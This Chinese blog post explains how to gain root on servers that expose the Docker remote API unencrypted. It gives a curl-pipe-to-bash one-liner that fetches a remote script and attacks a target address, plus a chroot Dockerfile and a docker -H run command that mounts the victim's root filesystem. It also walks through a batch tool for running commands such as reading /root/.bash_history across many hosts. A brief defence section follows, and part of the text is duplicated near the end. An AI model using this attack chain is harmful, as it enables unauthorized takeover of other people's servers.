一个回车键黑掉一台服务器

不说废话真的一个回车键:

  1. curl -sSL https://git.io/vXNB4 | bash -s test <addr:port>

自己替换<addr:port>的内容,下面是原理与批量扫描测试。


首先我不是什么黑客,也不是什么白帽子,我甚至从未踏进那个圈子,但是前几天闲来无事扫了一下网络上开放的Docker API端口,发现互联网上存在着大量未使用加密传输、直接开放Docker远程API端口的服务器,这些端口允许任何人连接到服务器并使用Docker。

而众所周知,docker这个用户组拥有与root用户基本一样的权限,这意味着我们可以通过这些端口获取服务器的最高权限。

本文代码:https://github.com/izuolan/docker-root-shell
如果你用这个玩意拿到了最高权限也别乱动别人服务器啦~~心疼运维一秒钟~~

一、原理演示

本节是在本地做的一个演示,我才不搞事,笑。先安装Docker,没什么好说的。

1.开启socket

为了更好地演示Docker远程API,我们首先要设置一下本地的Docker daemon启动参数,使其开启socket端口用于返回信息。

根据不同的发行版(这里以Linux为例),开启socket的方式也有不同。

简单来说,使用service命令管理服务的发行版(例如Ubuntu 14.04)可以直接通过修改/etc/default/docker这个文件就可以开启socket:

  1. # Docker Upstart and SysVinit configuration file
  2. #
  3. # THIS FILE DOES NOT APPLY TO SYSTEMD
  4. #
  5. # Please see the documentation for "systemd drop-ins":
  6. # https://docs.docker.com/engine/articles/systemd/
  7. #
  8. # Customize location of Docker binary (especially for development testing).
  9. #DOCKERD="/usr/local/bin/dockerd"
  10. # Use DOCKER_OPTS to modify the daemon startup options.
  11. #DOCKER_OPTS="--dns 8.8.8.8 --dns 8.8.4.4"
  12. # 修改下面
  13. DOCKER_OPTS="-H tcp://0.0.0.0:2333 -H unix:///var/run/docker.sock"
  14. # If you need Docker to use an HTTP proxy, it can also be specified here.
  15. #export http_proxy="http://127.0.0.1:3128/"
  16. # This is also a handy place to tweak where Docker's temporary files go.
  17. #export TMPDIR="/mnt/bigdrive/docker-tmp"

然后保存重启Docker:

  1. $ service docker restart

现在你可以使用curl等工具访问本地Docker daemon了。
至于使用systemd管理系统服务的发行版版(例如Ubuntu 16.04),需要在/etc/systemd/system/文件夹中操作,具体如下:
创建文件夹:

  1. $ sudo mkdir /etc/systemd/system/docker.service.d/

新建配置文件,内容如下:

  1. $ sudo vim /etc/systemd/system/docker.service.d/remote-api.conf
  2. [Service]
  3. ExecStart=
  4. ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2333 -H unix:///var/run/docker.sock

注意,ExecStart要输入两次。保存然后重新加载systemd配置并重启Docker:

  1. $ systemctl daemon-reload
  2. $ systemctl restart docker

现在任何人都可以通过docker -H "tcp://<我电脑IP>:<2333>"来执行操作控制我电脑上的Docker,例如docker -H "tcp://<我电脑IP>:<2333>" images查看我电脑上的全部镜像。

2.构建入侵镜像

现在任何人都可以连接到我电脑上的Docker API接口并操作我电脑上的Docker,但是为了获取电脑的Root权限我们还需要一个特殊的镜像,通过这个镜像获取系统最高权限。
镜像Dockerfile非常简单:

  1. FROM busybox
  2. CMD ["chroot","/host_dir","/bin/sh"]

纳尼?就两句话?嗯,准确来说就一句话,通过chroot切换为root的执行环境,chroot这个工具的作用就是Change Root,也就是改变程序执行时所参考的根目录位置。
使用

  1. docker build -t anony/mous .

这样就获得了一个入侵镜像。才几百KB的镜像远程传输起来非常方便。

3.获取系统最高权限

现在到了最后一步,没有什么复杂的操作,我们要的只是运行容器:

  1. docker -H tcp://<被入侵IP>:<API的端口> \
  2. run -v /:/host_dir \
  3. --name anonymous \
  4. --rm -it anony/mous

这个命令大概都能看懂吧,就是把被入侵的主机的根目录/挂载到容器的host_dir目录,然后容器启动时执行chroot /host_dir /bin/sh
这样就获得了被入侵机器的最高权限。现在执行任何操作都是与主机root用户执行的一样。已经没有什么可以阻挡你了。

二、批量测试

原理解释完,我们来看如何批量测试互联网空间上这些未加密的服务器。周末花了点时间写了个脚本,用于测试批量服务器。

1.一个回车键的事

还记得标题说的一个回车键黑掉一台服务器吗?就是下面这句话了,一个回车键你就可以获得对应服务器的最高权限。

  1. curl -sSL https://git.io/vXNB4 | bash -s test <addr:port>

2.批量测试管理

好吧,脚本写着写着就歪楼了,本来是批量测试的脚本变成了集测试、管理于一体的脚本。目前已经集成了如下功能:

  • 快速连接一台服务器
  • 对一台或批量服务器执行命令
  • 添加服务器到列表
  • 从列表删除服务器
  • 测试一台或批量服务器的延迟
  • 测试服务器是否开放了Docker Remote API端口
  • 远程执行Docker命令
  • timg.jpg
Docker Root Shell

1.直接执行该脚本可以查看服务器列表

  1. $ ./docker-root-shell.sh
  2. ==========================================================================
  3. Num - Alias - Address Port - CPU Mem - Note
  4. ==========================================================================
  5. 1 - wo - 172.16.8.247 2376 - 8 Cu 8 GB - Work
  6. 2 - ol - 172.16.158.90 2376 - 8 Cu 8 GB - Online
  7. ... ...

2.连接到服务器

  1. # 使用别名快速连接到一台服务器
  2. $ ./docker-root-shell.sh con wo

3.对一台或批量服务器执行命令

  1. # 对一台服务器执行命令,指定别名
  2. $ ./docker-root-shell.sh run wo "cat /root/.bash_history"
  1. # 对批量服务器执行命令,使用all
  2. $ ./docker-root-shell.sh run all "cat /etc/hosts"

4.添加一台服务器到列表中

  1. # 别名:地址:端口:CPU:内存:备注
  2. # <>表示必填,[]表示选填,别名不能是纯数字
  3. ./docker-root-shell.sh add <alias>:<addr>:<port>:[cpu]:[ram]:[note]
  4. ./docker-root-shell.sh add wo2:172.16.168.233:6666

5.从列表中删除一台服务器

  1. ./docker-root-shell.sh del <alias>
  2. ./docker-root-shell.sh del wo2

6.测试服务器延迟

  1. # 测试全部服务器的延迟
  2. # 输入一个数字,表示每台服务器的发包数量,会输出平均延迟
  3. ./docker-root-shell.sh ping <count>
  4. ./docker-root-shell.sh ping 1
  1. # 测试一台服务器的延迟只需要指定别名即可
  2. ./docker-root-shell.sh ping <alias>
  3. ./docker-root-shell.sh ping wo2

7.使用Docker Client远程操作Docker

  1. # 没什么好说的,指定别名,该干嘛干嘛
  2. ./docker-root-shell.sh docker <alias> <docker subcommand>
  3. ./docker-root-shell.sh docker wo2 images

8.编辑服务器列表

  1. # 需要调整一下就使用这玩意吧,默认编辑器在脚本头部可以设定。
  2. ./docker-root-shell.sh edit

三、如何防御

最简单的,如果你需要用第三方工具使用Docker API,但是不需要远程控制,把tcp端口绑定在127.0.0.1就好啦,例如-H "tcp://127.0.0.1:2333",但是如果你要远程使用Docker API,那么还是老实加密吧。

如何加密传输?官方文档很清楚写着了啊~~
https://docs.docker.com/engine/security/https/

总而言之,这种人为漏洞就尽可能避免啦,别偷懒,乖乖♂使用加密。

-root-shell.sh docker <alias> <docker subcommand> ./docker-root-shell.sh docker wo2 images

8.编辑服务器列表

  1. # 需要调整一下就使用这玩意吧,默认编辑器在脚本头部可以设定。
  2. ./docker-root-shell.sh edit

三、如何防御

最简单的,如果你需要用第三方工具使用Docker API,但是不需要远程控制,把tcp端口绑定在127.0.0.1就好啦,例如-H "tcp://127.0.0.1:2333",但是如果你要远程使用Docker API,那么还是老实加密吧。

如何加密传输?官方文档很清楚写着了啊~~
https://docs.docker.com/engine/security/https/

总而言之,这种人为漏洞就尽可能避免啦,别偷懒,乖乖♂使用加密。

本博客所有文章如无特别注明均为原创。作者:晨曦复制或转载请以超链接形式注明转自 晨曦的记忆,乐意数据
原文地址《一个回车键黑掉一台服务器
分享到:更多

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)